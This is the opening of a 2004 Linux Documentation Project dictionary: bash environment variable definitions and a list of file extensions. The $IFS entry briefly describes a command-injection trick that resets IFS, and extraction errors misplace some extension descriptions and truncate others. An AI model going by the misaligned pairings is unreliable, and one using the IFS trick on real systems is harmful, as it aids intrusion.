

Linux Dictionary

Version 0.16

Author: Binh Nguyen

<[linuxfilesystem\(at\)yahoo\(dot\)com\(dot\)au](mailto:linuxfilesystem(at)yahoo(dot)com(dot)au)>

2004-08-16

This document is designed to be a resource for those Linux users wishing to seek clarification on Linux/UNIX/POSIX related terms and jargon. At approximately 24000 definitions and two thousand pages it is one of the largest Linux related dictionaries currently available. Due to the rapid rate at which new terms are being created it has been decided that this will be an active project. We welcome input into the content of this document. At this moment in time half yearly updates are being envisaged.

Please note that if you wish to find a 'Computer Dictionary' then see the 'Computer Dictionary Project' at <http://computerdictionary.tsf.org.za/>

Searchable databases exist at locations such as:

<http://www.swpearl.com/eng/scripts/dictionary/>

(SWP) Sun Wah-PearL Linux Training and Development Centre is a centre of the Hong Kong Polytechnic University, established in 2000. Presently SWP is delivering professional grade Linux and related Open Source Software (OSS) technology training and consultant service in Hong Kong. SWP has an ambitious aim to promote the use of Linux and related Open Source Software (OSS) and Standards. The vendor independent positioning of SWP has been very well perceived by the market. Throughout the last couple of years, SWP becomes the Top Leading OSS training and service provider in Hong Kong.

<http://www.geona.com/dictionary?b=>

Geona, operated by Gold Vision Communications, is a new powerful search engine and internet directory, delivering quick and relevant results on almost any topic or subject you can imagine. The term "Geona" is an Italian and Hebrew name, meaning wisdom, exaltation, pride or majesty. We use our own database of spidered web sites and the Open Directory database, the same database which powers the core directory services for the Web's largest and most popular search engines and portals. Geona is spidering all domains listed in the non-adult part of the Open Directory and millions of additional sites of general interest to maintain a fulltext index of highly relevant web sites.

<http://www.linuxdig.com/documents/dictionary.php>

LINUXDIG.COM, "Yours News and Resource Site", LinuxDig.com was started in May 2001 as a hobby site with the original intention of getting the RFC's online and becoming an Open Source software link/download site. But since that time the site has evolved to become a RFC distribution site, linux news site and a locally written technology news site (with bad grammer :)) with focus on Linux while also containing articles about anything and everything we find interesting in the computer world. LinuxDig.Com contains about 20,000 documents and this number is growing everyday!

<http://linux.about.com/library/glossary/blglossary.htm>

Each month more than 20 million people visit About.com. Whether it be home repair and decorating ideas, recipes, movie trailers, or car buying tips, our Guides offer practical advice and solutions for every day life. Wherever you land on the new About.com, you'll find other content that is relevant to your interests. If you're looking for "How To" advice on planning to re-finish your deck, we'll also show you the tools you need to get the job done. If you've been to About before, we'll show you the latest updates, so you don't see the same thing twice. No matter where you are on About.com, or how you got here, you'll always find content that is relevant to your needs.

Should you wish to possess your own localised searchable version please make use of the available "dict", <http://www.dict.org/> version at the Linux Documentation Project home page, <http://www.tldp.org/> The author has decided to leave it up to readers to determine how to install and run it on their specific systems.

An alternative form of the dictionary is available at:

<http://elibrary.fultus.com/covers/technical/linux/guides/Linux-Dictionary/cover.html>

Fultus Corporation helps writers and companies to publish, promote, market, and sell books and eBooks. Fultus combines traditional self-publishing practices with modern technology to produce paperback and hardcover print-on-demand (POD) books and electronic books (eBooks). Fultus publishes works (fiction, non-fiction, science fiction, mystery, ...) by both published and unpublished authors. We enable you to self-publish easily and cost-effectively, creating your book as a print-ready paperback or hardcover POD book or as an electronic book (eBook) in multiple eBook's formats. You retain all rights to your work. We provide distribution to bookstores worldwide. And all at a fraction of the cost of traditional publishing. We also offer corporate publishing solutions that enable businesses to produce and deliver manuals and documentation more efficiently and economically. Our use of electronic delivery and print-on-demand technologies reduces printed inventory and saves time.

Please inform the author as to whether you would like to create a database or an alternative form of the dictionary so that he can include you in this list. Also note that the author considers breaches of copyright to be extremely serious. He will pursue all claims to the fullest extent of the law.

Source and pre-formatted versions available

The source code and other machine readable formats of this book can be found on the Internet at the Linux Documentation Project home page <http://www.tldp.org/> The latest version of this document can be found at <http://cvsview.tldp.org/index.cgi/LDP/guide/docbook/Linux-Dictionary/>

Chapter 1. Linux Dictionary

Punctuation

\$BASH environment variable

Expands to the full pathname used to invoke this instance of bash. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$BASH_VERSION environment variable

Expands to the version number of this instance of bash. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$CDPATH environment variable

The search path for the cd command. This is a colon–separated list of directories in which the shell looks for destination directories specified by the cd command. A sample value is ``.:~/usr". From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$ENV environment variable

If this parameter is set when bash is executing a shell script, its value is interpreted as a filename containing commands to initialize the shell, as in .bashrc. The value of ENV is subjected to parameter expansion, command substitution, and arithmetic expansion before being interpreted as a pathname. PATH is not used to search for the resultant pathname. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$FIGIGNORE environment variable

A colon–separated list of suffixes to ignore when performing filename completion (see READLINE below). A filename whose suffix matches one of the entries in FIGIGNORE is excluded from the list of matched filenames. A sample value is ``.o:~". From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$HISTCMD environment variable

The history number, or index in the history list, of the current command. If HISTCMD is unset, it loses its special properties, even if it is subsequently reset. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$HISTCONTROL environment variable

If set to a value of ignorespace, lines which begin with a space character are not entered on the history list. If set to a value of ignoredups, lines matching the last history line are not entered. A value of ignoreboth combines the two options. If unset, or if set to any other value than those above, all lines read by the parser are saved on the history list. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$HISTFILE environment variable

The name of the file in which command history is saved. (See HISTORY below.) The default value is ~/.bash_history. If unset, the command history is not saved when an interactive shell exits. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$HISTFILESIZE environment variable

The maximum number of lines contained in the history file. When this variable is assigned a value, the history file is truncated, if necessary, to contain no more than that number of lines. The default value is 500. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$HISTSIZE environment variable

The number of commands to remember in the command history (see HISTORY below). The default value is 500. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$HOME environment variable

The home directory of the current user; the default argument for the cd builtin command. From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$HOSTFILE

Contains the name of a file in the same format as /etc/hosts that should be read when the shell needs to complete a hostname. The file may be changed interactively; the next time hostname completion is

Linux Dictionary

attempted bash adds the contents of the new file to the already existing database. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$HOSTTYPE

Automatically set to a string that uniquely describes the type of machine on which bash is executing. The default is system-dependent. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$IFS

In UNIX, the \$IFS variable separates commands. It is usually configured to be the semicolon (;) and newline characters. However, it can be reconfigured to be other characters as well. Data-driven attacks will sometimes seek to reset the IFS variable (e.g. IFS=x), then cause execution within the data field without having to insert shell metacharacters. Tidbit: On Linux, the \$FF variable may also be used like \$IFS. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$IFS

The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ``<space><tab><newline>". From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$IGNOREEOF

Controls the action of the shell on receipt of an EOF character as the sole input. If set, the value is the number of consecutive EOF characters typed as the first characters on an input line before bash exits. If the variable exists but does not have a numeric value, or has no value, the default value is 10. If it does not exist, EOF signifies the end of input to the shell. This is only in effect for interactive shells. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$INPUTRC environment variable

The filename for the readline startup file, overriding the default of ~/.inputrc (see READLINE below). From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$LINENO

Each time this parameter is referenced, the shell substitutes a decimal number representing the current sequential line number (starting with 1) within a script or function. When not in a script or function, the value substituted is not guaranteed to be meaningful. When in a function, the value is not the number of the source line that the command appears on (that information has been lost by the time the function is executed), but is an approximation of the number of simple commands executed in the current function. If LINENO is unset, it loses its special properties, even if it is subsequently reset. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$MAIL

If this parameter is set to a filename and the MAILPATH variable is not set, bash informs the user of the arrival of mail in the specified file. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$MAILCHECK

Specifies how often (in seconds) bash checks for mail. The default is 60 seconds. When it is time to check for mail, the shell does so before prompting. If this variable is unset, the shell disables mail checking. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$MAILPATH

A colon-separated list of pathnames to be checked for mail. The message to be printed may be specified by separating the pathname from the message with a `?'. \$_ stands for the name of the current mailfile. Example: MAILPATH=/usr/spool/mail/bfox?"You have mail":~/shell-mail?"\$_ has mail!" Bash supplies a default value for this variable, but the location of the user mail files that it uses is system dependent (e.g., /usr/spool/mail/\$USER). From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$MAIL_WARNING

Linux Dictionary

If set, and a file that bash is checking for mail has been accessed since the last time it was checked, the message ``The mail in mailfile has been read" is printed. From Rute–Users–Guide

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$OLDPWD

The previous working directory as set by the cd command. From Rute–Users–Guide

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$OSTYPE

Automatically set to a string that describes the operating system on which bash is executing. The default is system–dependent. From Rute–Users–Guide

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$PATH

The search path for commands. It is a colon–separated list of directories in which the shell looks for commands (see COMMAND EXECUTION below). The default path is system–dependent, and is set by the administrator who installs bash. A common value is

``/usr/gnu/bin:/usr/local/bin:/usr/ucb:/bin:/usr/bin:.". From Rute–Users–Guide

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$PATH

The shell looks for commands and programs in a list of file paths stored in the PATH environment variable. An environment variable stores information in a place where other programs and commands can access it. Environment variables store information such as the shell that you are using, your login name, and your current working directory. To see a list of all the environment variables currently defined; type 'set' at the prompt. When you type a command at the shell prompt, the shell will look for that command's program file in each directory listed in the PATH variable, in order. The first program found matching the command you typed will be run. If the command's program file is not in a directory listed in you PATH environment variable, the shell returns a "commands not found" error. By default, the shell does not look in your current working directory or your home directory for commands This is really a security mechanism so that you don't execute programs by accident. What if a malicious user put a harmful program called ls in your home directory? If you typed ls and the shell looked for the fake program in your home directory before the real program in the /bin directory, what do you think would happen? If you thought bad things, you are on the right track. Since your PATH doesn't have the current directory as one of its search locations, programs in your current directory must be called with an absolute path or a relative path specified as './program–name'. To see what directories are part of your PATH enter this command: # echo \$PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11 From Complete–Idiot's Guide to Linux <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$PROMPT_COMMAND

If set, the value is executed as a command prior to issuing each primary prompt. From

Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$PS1

The value of this parameter is expanded (see PROMPTING below) and used as the primary prompt string. The default value is ``bash\$ ". From Rute–Users–Guide

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$PS2

The value of this parameter is expanded and used as the secondary prompt string. The default is ``> ".

From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$PS3

The value of this parameter is used as the prompt for the select command (see SHELL GRAMMAR above). From Rute–Users–Guide <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

\$PS4

The value of this parameter is expanded and the value is printed before each command bash displays during an execution trace. The first character of PS4 is replicated multiple times, as necessary, to

Linux Dictionary

indicate multiple levels of indirection. The default is ``+'. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$PWD

The current working directory as set by the cd command. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$RANDOM

Each time this parameter is referenced, a random integer is generated. The sequence of random numbers may be initialized by assigning a value to RANDOM. If RANDOM is unset, it loses its special properties, even if it is subsequently reset. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$SECONDS

Each time this parameter is referenced, the number of seconds since shell invocation is returned. If a value is assigned to SECONDS. the value returned upon subsequent references is the number of seconds since the assignment plus the value assigned. If SECONDS is unset, it loses its special properties, even if it is subsequently reset. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

\$SHLVL

Incremented by one each time an instance of bash is started. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

#01

and higher A method of numbering picture files for a roll of film that has been scanned for computer presentation From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.\$\$\$

Used by OS/2 to keep track of archived files From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.(Pags)

native format From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.000

Data file (GEOWorks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.000-20009

Used to number old (backup) versions of files (for example, CONFIG.SYS when changed by an installation program); also used to number From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.001-999

Database index files used by (Superbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.1-STEP

Backup file (Iomega Backup) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.113

Backup data file (Iomega Backup) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.123

Lotus 123 97 file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.12M

Smartmaster file (Lotus 1-2-3 '97) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.1ST

Linux Dictionary

- Documenting wizard list (Microsoft Visual FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .2D**
Two-dimensional drawing file (VersaCAD) (<http://www.versacad.com/vcadhome.htm>) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Comma-separated values file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.CSV

CompuShow Adjusted EGA/VGA Palette From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.CT

A graphic file associated with the Paint Shop Pro Graphic Editor From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.CT

Linux Dictionary

- Scitex CT bitmap From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CTC**
PC Installer Control From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CTF**
Symphony Character code translation From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CTL**
dBase IV Control From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CTL**
Used in general for files containing control information. FAXWorks uses it to keep information about each fax sent and received. From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CTX**
Microsoft Online Course Text From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CTX**
Pretty Good Privacy (PGP) Ciphertext file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CTX**
Visual Basic User control binary file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CUE**
Microsoft Cue Cards data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CUL**
Cursor library file (IconForge) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CUR**
Windows Cursor From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CURSOR**
Sun Microsystems Cursor From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CUT**
Dr Halo Bitmap From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CV**
Corel Versions archive From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CV**
Microsoft CodeView information screen From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CVG**
Image From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CVS**
Canvas drawing file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CWK**

Linux Dictionary

- Claris Works data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CWS**
Claris Works template From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CXT**
Macromedia Director protected (not editable) "Cast" (resource) file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .CXX**
C++ source code From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .D2D**
2D/3D object file (3-D Fassade Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .D64**
Commodore 64 emulator disk image From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DAO**
Windows Registry Backup From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DAP**
Data access page (Microsoft Access 2000) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DAT**
A data file extension used to designate an error message in a From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DAT**
Data file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DAT**
Extension used for some MPEG <http://WhatIs.techtarget.com/definition/0,,sid9_gci212601,00.html> files From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DAT**
WordPerfect Merge Data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DB**
Borderland's Paradox 7 table database From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .db**
Database file. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBC**
Microsoft's Visual FoxPro
<http://searchDatabase.techtarget.com/sDefinition/0,,sid13_gci213705,00.html> database container file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBF**
A dBASE file, a format originated by Ashton-Tate, but understood by Act!, Clipper, FoxPro, Arago, Wordtech, xBase, and similar database or database-related products. From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBF**
Enable database (can be opened with Excel 97) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBF**

Linux Dictionary

- Oracle 8.1.x tablespace file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBK**
dBase Database Backup From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBK**
Schematic backup file (OrCAD Schematic Capture) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBO**
Compiled program file (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBQ**
Paradox Memo From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBT**
dBase Text Memo From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBV**
Memo field file (Flexfile 2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBW**
Microsoft Windows 9.x Database file (DataBoss) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBX**
DataBeam image From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DBX**
Microsoft's Visual FoxPro
<http://searchDatabase.techtarget.com/sDefinition/0,,sid13_gci213705,00.html> Table file From
Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DC**
CAD file (DesignCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DC2**
CAD file (DesignCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DC5**
DataCAD Drawing From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DCA**
Document Content Architecture Text file (IBM DisplayWrite) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DCA**
Visual Basic Active designer cache From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DCF**
Data file (Dyadic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DCF**
Disk Image file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.DCIM

Digital Imaging and Communications in Medicine (image and data) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCM

DCM module From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCP

Data CodePage (OS/2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCR

Shockwave file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCS

Bitmap Graphics (Quark XPress) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCS

Datafile (ACT! Activity file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCS

Desktop Color Separation file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCT

Database Dictionary file (Clarion Database Developer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCT

Database SpellCheck Dictionary (Harvard Graphics 3.0-Symphony) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCT

Microsoft's Visual FoxPro
<http://searchDatabase.techtarget.com/sDefinition/0,,sid13_gci213705,00.html> database container
file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCU

Delphi compiled unit From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCX

Bitmap Graphics file (Multipage PCX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCX

Fax image (based on PCX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCX

Macro file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DCX

Microsoft's Visual FoxPro
<http://searchDatabase.techtarget.com/sDefinition/0,,sid13_gci213705,00.html> database container
file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DD

Compressed Archive (Macintosh DISKDOUBLER) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DDB

Bitmap Graphics file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.DDF

Btrieve or Xtrieve Data Definition File, which contains metadata
<http://searchDatabase.techtarget.com/sDefinition/0,,sid13_gci212555,00.html> describing a Btrieve or Xtrieve file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DDI

Image File (DISKDUPE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DDIF

Digital Equipment or Compaq file. Used for storing images and their From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DDP

Device Driver Profile (OS/2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.deb

Debian package for the Debian distribution. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEB

Debug Script (DOS Debug) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEF

Assembly Header file (Geoworks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEF

C++ definition file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEF

Define Module file (3-D Fassade Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEF

SmartWare II data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEFI

Oracle 7 de-install script From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEM

A file with USGS standards for Digital Elevation Models (Vista Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEM

Demo file (Descent) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEM

Graphics file (Vista Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEP

Visual Basic Setup Wizard Dependency file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DER

Certificate file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEV

Device Driver From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEWF

Linux Dictionary

Macintosh SoundCap/SoundEdit recorded instrument file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DEZ

Encrypted zip file (DES Encryption) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DFD

Data Flow Diagram Graphic (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DFI

Outline Font description (Digifont) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DFL

Default Program Settings (Signature) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DFM

Data Flow Diagram model (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DFS

Sound File (Delight) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DFV

Printing Form value (Microsoft Word) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DGN

Microstation95 CAD drawing From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DGS

Diagnostics Report From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DH

Dependency Information file (Geoworks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DHP

Graphic file (Dr. Halo II-III PIC Format) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DHT

Datafile (Gauss) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DIA

Diagraph Graphics file (Computer Support Corporation) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DIB

Device-independent bitmap From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DIC

Dictionary file (Lotus Notes, Domino) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DIC

Dictionary file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DICM

Linux Dictionary

- Digital imaging and communications in medicine file (DICOM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIF**
Data Interchange Format spreadsheet From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIF**
Data Interchange Output file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIF**
Database file (VisiCalc) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIF**
Text file (Output from Data Interchange Format) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .diff**
Output of the diff program indicating the difference between files or source trees. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIG**
Digilink file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIG**
Sound Designer I audio From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIP**
Graphics file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIR**
Dialing Directory (ProComm Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIR**
Directory (VAX) (DEC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIR**
Macromedia Director file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIR**
Movie (MacroMind Director 4.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .dir**
X Window System font/other database directory. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIS**
Distribution file (VAX Mail) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIS**
